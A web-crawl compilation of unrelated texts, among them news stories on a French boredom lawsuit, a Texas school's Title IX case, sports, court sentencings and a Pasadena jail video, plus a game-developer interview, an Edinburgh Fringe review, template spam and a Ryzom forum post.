plaintiff, 44-year-old Parisian Frédéric Desnard, is demanding more than $400,000 from his former employer, a perfume enterprise, as compensation for the boredom it allegedly caused. According to the Frenchman, the company should be held responsible for mental and other health damages as well as the financial consequences of him missing out on a promotion. Desnard claims that he was removed from his previous high-profile position in the company, which included managing certain contracts and travel expenses. For the next four years, he was asked to carry out much duller tasks. Speaking to French newspaper Le Monde, Desnard said his company wanted to bore him "to death" in order to convince him to quit voluntarily and therefore limit severance payments. But amid a sluggish French economy, Desnard simply decided to stay and do nothing. In the following four years, he reportedly earned more than $90,000 per year -- but the money did not fulfill him, he said. "I was ashamed to be paid to do nothing," Desnard was quoted as saying by AFP. In an interview, he described the time as "hell" and "a nightmare," which caused multiple health issues, including "epilepsy, ulcers, sleep problems and serious depression." The Frenchman was fired two years ago after a car crash forced him to go on sick leave for more than half a year. After having paid him a salary of about $360,000 over four years, his employer stated that his prolonged absence was interrupting work processes and ended their relationship. A verdict is expected July 27. Read more: French shop run by Muslim convert refused to sell merchandise to women on weekdays These students wore hijabs for a day to promote tolerance. It didn’t go well. -In 2010, Rachel Bradshaw-Bean — 17 at the time — was raped in the band room of her Texas high school, Henderson High. When she reported the assault to the assistant band director, he told her to "work it out with the boy." Two days later, she and a friend tried to report the assault to the assistant vice principal. She then received medical exam that showed lacerations to the hymen and bleeding "consistent with information given per the victim." A day later, she was told by the police that no criminal charges would be filed. The school did not launch its own investigation — although it was legally obligated to do so under Title IX — and instead sentenced her and her rapist to 45 days in a special disciplinary school. Their charge: "public lewdness." Two years after her rape, Bradshaw-Bean has decided to speak out to NBC because she doesn't want anyone else "to have to go through what I did," she told reporter Abigail Pesta. She feels that her case was egregiously mishandled. Firstly, she believes that the fact that she didn't cry in her forensic interview caused the police to take her accusation less seriously. "I'm sorry, am I supposed to cry? Am I supposed to feel the emotions you tell me to?... Am I supposed to feel these emotions right now and not go into shock and not [not] know what's happening?" she asked in a taped segment with the channel. According to her account, the police were eager to push her case under the rug; she was told by the police that the sex was consensual and that there was no evidence to prove otherwise. The District Attorney of her county told NBC that she had used language that "implied consensual sex instead of forcible rape" when the police interviewed her, but he doesn't have any record of the context in which she made that statement in his notes. "I was reporting a rape," Bradshaw-Bean insisted in response. "It sounds like my words are getting twisted. If you have to twist someone's words to make your case, then something's not right." She adds that she felt "like a prisoner" — at the disciplinary school she'd been exiled to, she saw her rapist in the hallways, when she was arriving in the morning and going to the bathroom. She tried to transfer to a different high school and was denied because the "public lewdness" charge was a stain on her record. Other students taunted her, threatening her and insinuating that she had "asked for it." After graduation, she says, "My personality changed. I didn't want to do anything. I blamed myself for the longest time." In June 2012, though, things started to look up. Bradshaw-Bean's mother, Colleen Chevallier, had filed a Title IX complaint against the school with the ACLU. And in June, a little over a year and a half after her rape, Bradshaw-Bean finally got word that the Department of Education's Office for Civil Rights had ruled that Henderson High School was in violation of Title IX for failing to independently investigate the case and for its inability to provide "a legitimate, nondiscriminatory reason" behind their decision to send Bradshaw-Bean to the disciplinary school. The ED outlined and instituted a 13-point plan to bring Henderson High in line with its Title IX obligations. As part of that, the faculty was made to undergo extensive training — which was very necessary because, as Pesta points out, most high schools' Title IX coordinators don't have a real, firm grasp of what the law entails. The disciplinary actions taken against Bradshaw-Bean were also scrubbed from her record, and the school had to pay for her to undergo counseling. "The counselor really helped," said Bradshaw-Bean. "Finally, I thought, there are some smart people in the world—rational people with levelheaded thoughts. It restored my faith in humanity." As of December 4, 2013, the school is in compliance with all 13 requirements mandated by the ED, and ED officials are still monitoring the school at the present moment. As for Bradshaw-Bean, she plans to go on to study criminal justice and criminal psychology. "I can help others facing injustice of their own," she said. Advertisement -WASHINGTON — One by one, President Barack Obama ticked through the names on the Spurs’ roster during Monday’s ceremony in the East Room of the White House. He mentioned Tim Duncan, Tony Parker and Manu Ginobili, of course. Kawhi Leonard, Boris Diaw and Tiago Splitter. He named Patty Mills and Marco Belinelli, lamenting that the latter no longer played for the president’s beloved Chicago Bulls. Obama even brought up Matt Bonner, calling him “a sandwich blogger named 'Red Mamba.’” Cory Joseph’s name never came up, and for good reason. In his first three mostly forgettable seasons with the Spurs, the backup point guard has been easy to miss. “I felt coming into this year I had something to prove,” he said. “I still have something to prove.” Thirty-six games into a make-or-break season for him, Joseph has shown he can be a solid NBA point guard. Whether the free-agent-to-be still will be doing it in San Antonio at this time next season remains to be seen. “I’m always going to feel like I deserve a job in the NBA,” said Joseph, averaging career highs in points (10.3) and assists (3.1) heading into Tuesday’s game at Washington. “I put in the work. I’m always going to compete to the best of my abilities. Whatever happens on that end, I leave to my agent.” When the Spurs declined to extend Joseph’s rookie-scale contract in October, opening the door for him to become a restricted free agent this summer, it appeared he would not be back because the team had no need for him. Now it looks like he might not be back because the team won’t be able to afford him. With Parker and Mills missing chunks of the season with injuries, Joseph has been something of a savior for the Spurs’ backcourt. The last time the Spurs played Washington, on Jan. 3, Joseph held his own against All-Star John Wall, going for 17 of his 19 points in the first half of a 101-92 win. Another moment: With the Spurs teetering late in a comeback win over Phoenix on Friday, Joseph put his head down and bulldozed for six consecutive points. “He always impressed me with the way he plays,” coach Gregg Popovich said. “He is not blessed with the most talent in the world, but I don’t think there is anybody on the planet who gets more out of what he’s got.” Still, until this season Joseph was a fringe NBA player. One reason Obama didn’t mention him Monday: Joseph totaled only eight minutes against Miami in last season’s Finals. So when the Spurs declined to extend him in the fall, Joseph was hardly surprised. “I knew I didn’t play much in my first few seasons,” said Joseph, a 23-year-old Texas-ex. “I didn’t even ask my agent about it (an extension). I just assumed they wouldn’t.” Instead, Joseph put on his hard hat and went to work, determined to grow himself into an NBA player. It was the approach Joseph took from the beginning, when the Spurs selected him 29th in the 2011 draft, 14 spots behind the more heralded Kawhi Leonard. Devoid of playing time his first few seasons, Joseph occasionally requested to be demoted to the Spurs’ Development League club in Austin to get minutes. For Joseph, much of the work involved in becoming an established NBA player was accomplished in solitude. “There were times when I was in Austin, in the gym by myself, maybe with nobody to rebound for me,” Joseph said. “I would go to to the gym a lot — a lot — and just work out.” The work seems poised to pay off for Joseph in a literal sense. He just might have to leave San Antonio to get paid. The Spurs have $44.4 million committed to Parker after this season and another $7.1 million to Mills. Joseph is probably due a raise from the $2.02 million he is earning this season, but it is hard to envision the Spurs paying a third point guard much beyond that. For now, the Spurs will take whatever they can get from Joseph. With Parker and Mills easing back into the rotation, look for Popovich to seek creative ways to keep all three point guards in the mix. The president might have forgotten Joseph, but the Spurs have not. “He’s stepped up and really taken the opportunity and run with it,” Duncan said. “I’m really proud of him. He’s showed he can play in the league and really play well.” jmcdonald @express-news.net Twitter: @JMcDonald_SAEN -A woman who slashed another woman’s face in a “moment of madness or jealousy”, leaving her permanently disfigured, has been given a six year sentence. Kinsi Abdullah Dirir (33) was convicted of assault causing serious harm to mother-of-five Habiba Songolo (40) at a house on Foxborough Rise, Lucan, Co Dublin on May 17th, 2008. Dirir had denied the charge at Dublin Circuit Criminal Court, however she admitted causing criminal damage to a car outside the house on the same day. Dirir, who was born in Somalia and came to Ireland aged six, has no previous convictions. A probation report put her at high risk of re-offending. The court heard the attack happened after Dirir discovered that her former husband was in a relationship with the victim. Dirir, a mother-of-three of Hollybrook Park, Clontarf, was acquitted by a jury of carrying a razor blade on the same occasion. Judge Desmond Hogan said the victim had suffered very serious injuries and continued to suffer traumatic effects, bordering on depression. He suspended the final 18 months of the sentence for four years, after hearing Dirir’s family had offered the sum of €2,000 as compensation to the victim. Judge Hogan took into account Dirir’s long history of mental illness and ordered that she receive appropriate medication in custody. -window._taboola = window._taboola || []; _taboola.push({ mode: 'thumbnails-c', container: 'taboola-interstitial-gallery-thumbnails-3', placement: 'Interstitial Gallery Thumbnails 3', target_type: 'mix' }); Photo: Getty Images Image 1 of / 4 Caption Close Image 2 of 4 Chris Dominguez of the San Francisco Giants is congratulated after hitting a two-run home run during the seventh inning of a baseball game against the San Diego Padres at Petco Park September, 21, 2014 in San Diego. less Chris Dominguez of the San Francisco Giants is congratulated after hitting a two-run home run during the seventh inning of a baseball game against the San Diego Padres at Petco Park September, 21, 2014 in San ... more Photo: Getty Images Image 3 of 4 Chris Dominguezof the San Francisco Giants sits in the dugout after an 8-2 loss to the San Diego Padres at Petco Park September, 21, 2014 in San Diego. Chris Dominguezof the San Francisco Giants sits in the dugout after an 8-2 loss to the San Diego Padres at Petco Park September, 21, 2014 in San Diego. Photo: Getty Images Image 4 of 4 SF Giants rookie hits first home run, gets cute messages on ball 1 / 4 Back to Gallery Chris Dominguez was beaming despite Sunday’s 8-2 loss, and nobody could blame him. Making his first major-league start, the 27-year-old rookie homered against Ian Kennedy for his first big-league hit. The ball went over the fence down the left-field line, hit off the Western Metal Supply Co. building and wound up in the hands of a little girl named Estella who was celebrating her birthday. The Padres dispatched an employee to retrieve the ball, but before a swap could be completed, the little girl’s sister got ahold of the ball and wrote on it, “Happy birthday, love M.” The girl agreed to give the ball to Dominguez, but not before she added her own missive. She wrote, “Congratulations, (heart) Estella.” “That is awesome,” Dominguez said when he saw the inscriptions. “I think it’s great for the memories.” -Israeli Occupation Forces Kill Two Palestinians, Kidnap 370 In May In its monthly report on Israeli violations, the Ahrar Center for Detainees’ Studies and Human Rights has reported that Israeli soldiers killed two Palestinians in May, and kidnapped 370. The Center said that the army shot and killed Nadim Nuwwara, 17, and Mohammad Abu Thaher, 20, near the Ofer Israeli military roadblock, near the central West Bank city of Ramallah. The two were killed on May 15, during Nakba Day protests. Israeli army sharpshooters killed the two following clashes with the army as the Palestinians marked the Nakba Day. Video footage showed the two walking away, with their backs to the army location, when they were killed. As for arrests carried out by the Israeli occupation army, the Center said that 370 Palestinians were kidnapped in the West Bank, Jerusalem and the Gaza Strip. In Jerusalem, soldiers kidnapped 118 Palestinians, the highest number of arrests in May, while 86 Palestinians were kidnapped in the Hebron district, 40 in Nablus, 30 in Bethlehem, 27 in Ramallah, 27 in Jenin, 16 in Qalqilia, 8 in Salfit, 4 in Tulkarem, and two in Tubas. In addition, 12 Palestinians were kidnapped in the besieged Gaza Strip; three of them were kidnapped near the border fence, and nine were Palestinian fishers were kidnapped by the Israeli Navy in Palestinian territorial waters. Also in May, the army kidnapped five Palestinian women in different parts of occupied Palestine, and released three of them, while two remained under interrogation. Head of the Ahrar Center, Fuad al-Khoffash, stated that Israel is escalating the arrests, especially amongst young Palestinians, and that Israeli interrogators continue to use cruel interrogation methods, and extreme torture, in direct violation of International Law and all related human rights treaties. He added that the arrests are happening while Administrative Detainees, held by Israel under arbitrary orders without charges or trial, are ongoing with their hunger strike despite the fact that many detainees are facing life-threatening conditions, and serious complications. -The following table contains the main stats for all ADVENT units present in version 1.4 of Long War 2, including the units introduced by Shen's Last Gift and Alien Hunters DLCs. The stat values can be influenced by the difficulty level (Rookie/Veteran/Commander/Legendary) and those are also displayed accordingly. Other Stats In addition to the stats listed above there are others that have very limited use. Here's a list of those stats and the specific situations where they are used Flank Aim - only used by the Sidewinders with a value of 5, 0 for all other units Flank Crit - default of 33/33/40/40 for each difficulty level, Elite Sidewinders have the values at 40/40/50/50 Strength - propose/use unknown, has a default value of 50, and higher values for units like Mutons and Stun Lancers Items - default value of 1 of nearly all units, with the exception of the ADVENT Engineer/Grenadiers, which is set for 9 Sources -You may recall that of all of the games I saw at E3, Eador: Masters of the Broken World was the one that caught my eye despite the lack of a huge booth and go-go dancers. Of course I have no idea how the game will come together in the end but if Snowbird Games hits its target — this is going to be something special. When you are developing a game and tossing about words such as Master of Magic, Civilization and Heroes of Might and Magic you immediately draw the usual cries of, “Oh great another attempt at a MoM sequel” but Eador has the foundation in place and looks like it just might pull it off. I had a chat with Vladimir Tortsov of Snowbird to talk about the game, its design, and a host of other goodies. This one is long. Bring a snack. First off, can you clear something up for us? I read an article recently which describes Eador as a “real- time strategy game” and yet the demo I saw at E3 looked clearly like a turn-based game. Is Eador real-time or turn-based? You saw it correctly, of course it’s turn-based. It was some kind of misinterpretation in that other article. OK, now that we have that out of the way, can you tell us what Eador is all about? What exactly will you be doing in the game – how do you “win”? From the very beginning of the game Eador poses a challenge: try to unify the shattered pieces of a planet under your rule, or lose. By invading the other shards (that’s how we call these pieces of firmament floating in the astral void) and conquering them, your alter-ego, the Master, becomes more powerful and better able to shape the world as he wants. Thus, Eador. Masters of the Broken World is all about achieving ultimate power and using it to do good or evil, depending on the player’s choice. In this sense, it’s pretty similar to the idea behind Sid Meier’s Civilization, except that in our game there are concepts of evil and good and you have to make a choice all the time. Technically speaking, the gameplay consists of three connected levels: astral, strategic and tactical. Having invaded a shard (the astral level), the players land on its surface (strategic level) and, after a series of battles (tactical level), they conquer the shard and literally attach it to their homeland. Add in diplomacy, army and hero management, internal affairs and moral dilemmas to the mix, and you get the game. I came away from the E3 demo excited to see more because it looks like Eador is borrowing from so many turn-based strategy staples, but this is such a large game – how challenging is it to combine so many different gameplay elements into one package? It looks like there are so many moving parts with the design. Yeah, it’s a clockwork with a huge number of details. I have to give the full credit for this amazing work to our lead game designer Alexey Bokulev, who is an extremely creative person and a huge fan of old-school strategy games. In fact, Eador was born from Alexey’s wish to play a perfect strategy game combining all the best features from his favorite games such as Master of Magic, Heroes of Might and Magic, and Civilization. Designing that dream game was a very complicated task indeed, but he succeeded. You can check some screenshots from the 2D version of Eador (released in 2010 in CIS countries only) here: http://www.eador.com/eador1/gallery.html. With this 3D remake we’re working on, we’re trying to introduce this extraordinary strategy game to the worldwide audience. The combat model based off the E3 demo reminded me a lot of Heroes of Might and Magic and King’s Bounty. What makes Eador’s combat mechanic special? When readers see the screenshots they think, “Oh a HoMM clone.” Can you explain some of the differences between the two? Yeah, it’s true – the tactical screen is the most ‘classic’ of them all. Well, the difference lies in the details. Our battleground isn’t just a field with a grid – it represents the real location with different types of terrain and obstacles. It matters a lot, because terrain affects the performance of your troops providing various bonuses and penalties. Unlike HoMM, our units don’t stack, so you couldn’t “cheat” by amassing a huge army of dragons on a single hex and eradicating all resistance. Finally, each unit has dynamically changing attributes like morale and stamina, which makes this combat system closer to the tabletop games with miniatures than to HoMM or King’s Bounty. Can you talk a little about the various hero types that lead your armies? How do they differ fro one another and can you guide them down various paths by spending experience points? There are four basic types of heroes in the game. They serve as generals for your armies and participate in battles alongside other units. A Warrior is a strong melee fighter, relying on his physical strength and equipment. He is a ‘one man army’, requiring only limited support from other units. A Scout is a skilled archer, also possessing a broad variety of non-combat utility skills such as a possibility to sabotage enemy army before the battle. A Commander is weak in melee, but he can lead a larger army than any other hero of comparable level, granting an assortment of bonuses to his troops as he leads them into battle. A Mage is, naturally, a very skilled spellcaster who can easily turn the tide of battle with a couple of powerful magic tricks. Every unit in the game (including heroes, of course) gains experience points and progresses in levels. When a hero reaches level 10, he ascends to new class, either an advanced version of his initial specialization or a combination with any of the three remaining base classes. For example, our Warrior could keep his initial focus on melee and become a Berserker possessing some exciting new perks, or he can turn into a Dark Knight, able to cast deadly necromantic spells. When you attack a shard, what sort of things will you have to manage? This “overland” portion of the game looked meaty at E3 but I was hoping to get some more information about some of the tasks and gameplay mechanics that are involved with it. What do you have to do to run your economy, for example? Do you obtain gold, wood, etc? The strategic level is the most complex one in the game, as there is lot of stuff to take care about – economics, politics, warfare, etc. First of all, the players should expand their capital, which is their main base of operations on the shard. By choosing which buildings he needs most and constructing them, the player shapes up his strategy. Military buildings allow him to hire stronger troops; financial buildings help to increase his income, while entertainment buildings assist him in keeping the population happy. Concerning resources, there are two basic ones: gold and magic gems. The gems are required for all our magical needs, while gold is needed for pretty much everything else. There are also nine rare resources in the game such as mithril or redwood lumber. Each rare resource has its specific purpose: for instance, mithril is used to create the most powerful artifacts with magical effects and lumber is required for the construction of some advanced buildings in the city. What are some of the role-playing mechanics at work in Eador? I seem to recall something about hero quests during the E3 demo? Can you give me some examples of how that works? Yeah, as I’ve said before – not just your heroes, but all units in the game level-up and get some new perks and abilities. For instance, your knights can acquire the passive ability to deal more damage to evil units starting from level 8, while your ogres may learn how to stun the enemy troops on level 3. Speaking of quests, each hero can be assigned with an exploration task instead of a military one. It means our hero could spend his time in an allied province, wandering around and looking for places of interest. Each province has a number of dungeons, crypts, caves, magic shops etc., and our hero could visit all these beautiful places in order to gain some experience fighting the guardians and to plunder their treasures. Even if our hero was unable to find anything unusual during his search, exploration is a great way to increase tax income of that province (we can imagine that our hero is actually looking for more taxpayers to rip off, rather than for the monsters to slay?) You mentioned unit stamina and morale? How do those affect gameplay? Stamina represents the unit’s ability to carry out our orders – i.e. move or attack. Each action costs a specific amount of stamina points, and when the unit is attacked by the enemy, his stamina suffers as well. The unit with zero stamina is considered utterly exhausted and becomes completely useless. Therefore, the player should review the state of his troops and give his tired units a break to catch their breath. Morale works a little bit different, but the effect is quite similar. The unit’s morale depends on many factors, including the general’s stats, magical effects, army composition and current battlefield situation. A demoralized unit cannot fight and will most probably try to flee the battle. How does diplomacy work? What can be accomplished by talking to your opponents and not just stabbing them? The diplomacy system is working on two levels – astral and strategic. On the astral level, we can learn more about our competitors – the other Masters – by speaking to them. There is a strong chance that we’d want to ally ourselves with a fellow Master who shares our views and beliefs. These ‘astral’ alliances lead to different story paths, eventually providing us with different endings. There is also a strategic level diplomacy, which takes place during the war over some particular shard. It is possible that some other Masters also chose this shard as their target during their turn, and in this case, diplomacy becomes a powerful tool of survival. Instead of fighting the war on two or more fronts, we can negotiate with some of our adversaries and convince them to leave this shard for good. We can also sign a trade agreement with other Masters and sell or buy resources. What sort of creatures are you able to recruit in the game? Do you play a specific race such as the “Undead” or can you mix and match your unit types within an army or on various shards? In Eador, you play as yourself – meaning that you don’t represent elves, orcs or humans when you’re hiring them. You’re the Master, a demigod, and these puny mortals are nothing but pawns in your great game. Thus, you can mix & match units from different races as you want, but you have to pay attention to the chemistry. Goblins and elves don’t really get along together, so you can expect a penalty to the troops’ morale on a battlefield. The player may ally with any of the races populating a particular shard, thus gaining access to its warriors (but you have to construct a specific building in your capital before that). Alternately, some particular units may join your ranks as a result of a completed quest. The game looked enormous at the show – how “big” of a game is Eador? Can you customize the options for a shorter game or is that set in stone? If we’re talking about hours of gameplay, I’d say the first playthrough of Eador could take you about 60 hours to beat the game. Once you’ve learned the tricks and understood the basics, you can finish the game in half that time. Thus, the duration of the story-driven campaign is more or less set in stone, but in the ‘skirmish’ mode (strategic + tactical levels) you can adjust all the settings as you wish. Let’s talk a little about the random events that pop up from time to time. How involved are these events and are there enough in the game that you won’t see the same ones too often? According to our latest inspection, there are 1,264 different ‘event dialogues’, so there shouldn’t be a problem with their variety. Some of them are simple and last only for one round, while some others are more complex and may lead to unexpected outcomes a few turns later. Some of them are connected to your heroes, while others could happen anytime and anywhere. Lastly, are you still on track for a 2012 release? So far – yes, we’re still aiming for this year. Wish us luck with that! I’d like to thank Vladimir for talking with us and you can hopefully grab Eador sometime in 2012 on a PC near you. -As feathers settle at the end of yet another Edinburgh Fringe Festival, this year's event—celebrating its 69th birthday—showed that, despite its staunch old age, material at the fest is increasingly relevant to contemporary discourses on social media, research, science, and technology. These topics underpinned many of the performances at the Edinburgh Fringe Festival. One such example was The Sick of The Fringe conceived by artist, performer, and Wellcome Trust engagement fellow Brian Lobel. He explained the rationale behind the show to Ars: "As a performer in Edinburgh for the last eight summers, I found myself frustrated by the lack of nuanced conversation, particularly about issues of health, the body, trauma, illness, and disability." He added: I hope that The Sick of the Fringe is a safer platform for artists making work on their body, providing spaces for nuanced conversation, and opportunities for connections among artists making work on subjects which are difficult, and identities that are marginalised by differences in health and presumed capacity. I also hope that The Sick of the Fringe provides space for those working in health, medicine, and research—both here in Edinburgh and abroad—to engage with the ideas put forward by artists at the Fringe, which we hope will inspire new research, new policy, and a renewed sense of purpose. As a member of the Sick of the Fringe team of writers in Edinburgh this year, I was asked to become part of the discourse among artists who are making work that deals directly with their own experiences relating to, say, sickness, racism, or discrimination. We were asked to diagnose their performances by looking beyond the production quality or entertainment value of the piece, and to instead analyse the ideas presented in the work and its context within scientific and medical inquiry—often pushing writers beyond their comfort zone. While undertaking my diagnosis, I was surprised by the preponderance of performances surrounding social media and sexuality, which suggested an emerging trend in how artists' experiences of new technological platforms are being reflected upon and filtered through to the diverse audiences that attend the Fringe. Performers would often do their best to turn audience members into collaborators by asking them to tweet or blog questions or reaction. One such performance was Blush—created by Snuff Box theatre in association with Underbelly Untapped—which presents the primal responses to those whose lives have been affected adversely by online porn. It included stories that address revenge porn, porn addiction, and looked at how seeking validation and approval through sexual activity online can be harmful. Characters created by Charlotte Josephine were all defined by exposure to sexually explicit online content. A desk bell is used to simulate online notifications of venomously sexist comments. Every so often a blinding camera flash lit the stage to remind the audience that any intimate selfie can instantly become common digital property. And those targeted are left with little in the way of justice as revenge porn laws struggle to be enforced. Blush certainly brought together familiar narratives and cautionary tales for the technological age. Continuing that theme, Infinity Pool: A Modern Retelling of Madame Bovary by Bea Roberts explored technology and sexuality by updating Gustave Flaubert’s enduring narrative on adultery for the sexting age. The performance had no actors but—with the use of a TV, a soundboard, several projectors, an animated Powerpoint presentation, and a variety of physical props—it managed to be an immersive performance. Roberts showed staggering flexibility and skill in exploring how tech can lead to loss of sexual intimacy while lubricating virtual betrayal. The evolution of online relationships is detailed here in a flurry of flirtatious e-mails and suggestive sexting. The vast programme of the Fringe, ensures that—for every serious reflection on the dark side of humanity and technology—there’s some light relief, often taking place in minuscule, dimly lit catacomb cellars with an alternative context for tackling scientific themes. Stand up performances strangely included reason and critical thinking in The Fringe of Reason—Undiluted Brilliance, while Dan Simpson's Artificial Ineloquence warned audiences of the imminent world domination by deep learning AIs, and Dissecting the Joke saw scientists and sceptics take to the stage. Gareth Morinan’s performance, Graph Giraffe, used Venn diagrams and bell curves to call out "heightism," privilege, and what he believes would be the benefits of living in a "Dataocracy." Using some slightly suspicious statistics to educate the audience about lanky privilege, he suggested height wasn't a simple linear scale because it must be a function of gender, and in fact all privilege factors are also functions of something else. All of which led to some impressive privilege based equations. A government ruling through evidence based policy instead of being 99 percent ideologically based, he reckoned, would lead to more data that is recorded and openly available. I’m sure Edward Snowden would approve. The Wellcome Trust has said that it wants to spend £5 billion on research projects over the next five years—an important shot in the arm for projects such as The Sick of the Fringe, which will be back in Edinburgh in 2017. Meanwhile, a mid-February festival in London is planned. Lobel told Ars that he has separately been working on There is a Light, a theatrical adaptation of the BRIGHTLIGHT study—the largest research ever undertaken with young adults who suffer from cancer. *** Lucy Orr grew up close to CERN and Fermilab, while her father was busy searching for the Higgs boson (which he eventually found). While waiting for her mutant powers to manifest, Lucy kept herself occupied programming BASIC, reading comics, and playing MUDs. With an extensive career in digital art and animation, she still finds time to pet ferrets, listen to pop punk, and drink cider. -. --- Georgia juniorhas become the first Bulldog to win the Butkus Award, given to the nation's best collegiate linebacker.Smith, a native of Montezuma, Ga., garnered 60 percent of the first-place votes and 40 percent of the overall weighted vote, which is a greater margin than any linebacker in the past decade. He was chosen from the other finalists of Michigan's Devin Bush, Virginia Tech's Tremaine Edmunds, Wisconsin's T.J. Edwards and Clemson's Dorian O'Daniel, according to an announcement from the Butkus Foundation.Smith is the first Georgia player to win the Butkus Award in its 33-year history since 1985. There have been three other Bulldog finalists four different years in recent history, including Leonard Floyd (2015), Jarvis Jones (2011, 2012) and Justin Houston (2010).proved to be the overwhelming favorite in this year's collegiate linebacking class," according to the award selection committee. "He's always around the ball and is very tough, fast and instinctive, with exceptional football reflexes. He makes his presence felt all over the field and hits with the type of explosion that has come to define the Butkus Award. As terrific of a football player as he is, Roquan is highly regarded by teammates, coaches and support staff for his intelligence, intensity and leadership traits."Also a finalist for the Bronko Nagurski Trophy and the Chuck Bednarik Award, Smith has earned midseason All-American honors by leading the team for a second year in a row with 113 tackles (8.7 tackles/game) during Georgia's 12-1 campaign, highlighted by its 13Southeastern Conference title and first since 2005 this past weekend.Smith has added 10.5 tackles for loss, a team-leading 5.5 sacks, two fumble recoveries and a forced fumble to lead the Bulldogs. With the help from Butkus Award semifinalist, Georgia ranks second nationally in Passing Yards Allowed (158.3 yards/game), third in Scoring Defense (13.8 points/game) and fourth in Total Defense (270.9 yards/game).Georgia has held its last three opponents to a combined seven points in the second half, including the Bulldogs' 28-7 rout of second-ranked Auburn in the SEC Championship Game. In addition, Georgia blanked Tennessee 41-0 during the regular season, snapping the nation's fourth-longest active scoring streak and the sixth-longest streak in college football history.The third-ranked Bulldogs (12-1) travel to Pasadena, Calif., to face second-ranked Oklahoma (12-1) in the College Football Playoff's semifinal round in the Rose Bowl on Monday, January 1. Kickoff is at 5:10 p.m. ET.The Butkus Award selection committee is comprised of 51 football coaches, recruiters, talent scouts and journalists who study football talent yearlong. Selectors are asked to recognize qualities that defined Butkus' career; toughness, on-field leadership, competitiveness, football character, and linebacking skills. Selectors follow a 3-2-1 voting procedure for five named finalists or any linebacker they choose to write in.The 2017 high school winner is Solomon Tuliaupupu of Mater Dei High School in Santa Ana, Calif. The 2017 pro winner will be announced after the NFL season, succeeding 2016 winner Khalil Mack of the Oakland Raiders.The Butkus Award is presented by the Butkus Foundation, a 501c3 non-profit organization which advances health and wellness through special initiatives including the I Play Clean® program. The Butkus Award is part of the National College Football Awards Association (NFCAA), which includes 23 awards honoring 800 individuals since 1935. -A new video shows lots of cops restraining a suspect. Is it police misconduct or necessary force? One thing is clear: You'll only see the video here. This is something we don't normally get to see -- what happens when a drunk driving suspect refuses to give his blood to police. But there's a video inside the Pasadena jail, last July. Nine cops will get in the action. "It almost looks like each officer that runs through the door is wanting to get a piece of the action, more so than stopping to look and see if their assistance is even needed," defense attorney Jim Medley said. "They were beating on this guy excessively, stomping his broke leg," Defense Attorney Sam Cammack said. "He was basically begging for mercy." It's video that's creating more tension. "It looks like police held a whoop-a-black-man party that was held and sponsored by law enforcement officers," Community Activist Quanell X said. Curtis Nelson was questioned by Houston police after a traffic wreck that wasn't his fault. The Houston police officer doesn't do a full sobriety test. Instead, Nelson is taken to the Pasadena jail. With a search warrant, his blood will be drawn there whether he likes it or not. You hear Nelson begging for another way. "Can I do a sobriety test?" he says in the video. ''He's been afraid of needles since he was old enough to talk," said Nelson's attorney. But the cops will try to put him in the restraint chair, and Curtis Nelson doesn't want to go. "This is what happens to citizens, that people don't get to see all the time, if you say, 'I don't want you to draw blood,'" Cammack said. "We got a fighter," you hear an officer saying in the video. One officer will grab him around the neck, and he'll be taken to the floor. Then a total of nine officers join in. "You got nine officers on one man who's got a broke leg, who's already on the ground," Quanell X said. "You can see one officer clearly kneeing the young man as he was lying down on the ground, kneeing him on his side; then you saw him punching him at the same time." One officer appears to step on Nelson's broken leg. You hear at least one officer using profanity. The officers tell him to stop resisting. "'Stop resisting' was nothing more than stage rhetoric to justify what they were doing to him," Quanell X said. The male nurse positions himself right between two chairs in the middle of the room, maybe just a coincidence that it blocked a full camera view of the incident; maybe not. "I don't care if he was black, green, red, but it makes you pause to think that this would have happened to a 16-year-old white female," Cammack said. After he's restrained, Nelson is not put back in the chair to get the needle. The nurse sticks him right there on the ground. "Why would you just take a needle and ram it in somebody's arm on a dirty, dusty floor inside of a jail, which is not one of the cleanest places anybody could be in," Quanell X said. A judge threw out the needle results this week after lawyers argued it was done with excessive force and in unsanitary conditions. But they now want you to see what happened to Curtis Nelson. Coming after the Tolan verdict and the suspension of eight Houston cops for an alleged beating, this video won't help calm tensions. "This city is on the verge of erupting in a full scale riot against police officers," Quanell X said. We reached out to Pasadena police tonight, and they couldn't comment until Friday. But you can see the entire incident caught on camera -- from theto the The DA's office tells us Nelson was intoxicated because blood alcohol content was 1.9. -Image copyright Getty Images Image caption Dragan Vasiljkov, centre, has been convicted of war crimes A former Serbian paramilitary commander with Australian dual citizenship has been sentenced to 15 years in jail for war crimes. Dragan Vasiljkovic, also known as "Captain Dragan", was convicted of torturing prisoners and a deadly attack on a village during the Croatian war of independence in the early 1990s. He had been living in Australia prior to his extradition to Croatia in 2015. Vasiljkovic, 62, was convicted by a court in the town of Split on Tuesday. The court heard that Vasiljkovic had directed his subordinates to torture captured Croat soldiers in a makeshift prison he had set up in the rebel Serb stronghold of Knin. He was also found guilty of orchestrating an attack on the town of Glina which killed two civilians and forced others to flee their homes. Vasiljkovic was acquitted of the 1993 torture and murder of two Croat soldiers in another village. Long process During the year-long trial, witnesses told the court of the abuse they had suffered at the hands of Vasiljkovic and his unit. The former commander has maintained his innocence, calling the trial an "oppressive fascist process". Vasiljkovic moved to Australia in 1969 and later spent four years in the nation's army reserves before being courted by Serbian intelligence chiefs, The Australian reported. He was arrested in Australia in 2006, where he had been working as a golf instructor under the name Daniel Snedden. Vasiljkovic fought for almost a decade to prevent his extradition from Australia, arguing he would not receive a fair trial in Croatia. His lawyers have said they will appeal the sentence. -26 Long Sleeve Shirt Design Template Uploaded by . We have 26 great resume of 26 Long Sleeve Shirt Design Template. We've compiled 30 free illustrator resume templates that let your credentials shine. ... Ideal for those working in a creative field, this resume template lets you display ... We have zipped all the resumes in a convenient-to-download file, just enter ... Create a memorable business card with one of these free Illustrator business ... 26 Long Sleeve Shirt Design Template. Create a job-winning resume template in 5 minutes! ... CVs Senior ... Land your dream job in the creative industries by using this creative resume template which ... These modern CV templates for Word, Pages, and InDesign are the perfect ... Create a build your own resume template with this simple template. ... Another creative and stylish resume template especially suitable for writers, ... 26 Long Sleeve Shirt Design Template -Yumeroh Administrator Join Date: Feb 2007 Posts: 317 Ryzom Blog, Facebook, Twitter, and at the Paris Game Festival and the German IRL In this last year, we have rolled out four patches. Now we are in September and it's time to get things rolling on the Ryzom front again. One of the areas that we will be working on is something you've all been asking for: Communication! Yes, that's right. We still think actions speak louder than words, but now we're going to give you more words as well. We're going to keep you better informed of our thoughts, plans and actions and to make this possible and as dynamic as possible we have set up accounts on some social networking sites: Facebook : Come join the Official Ryzom Group on Facebook. : Come join the Official Ryzom Group on Facebook. Blog : You can now read the Official Ryzom Blog. We will communicate there 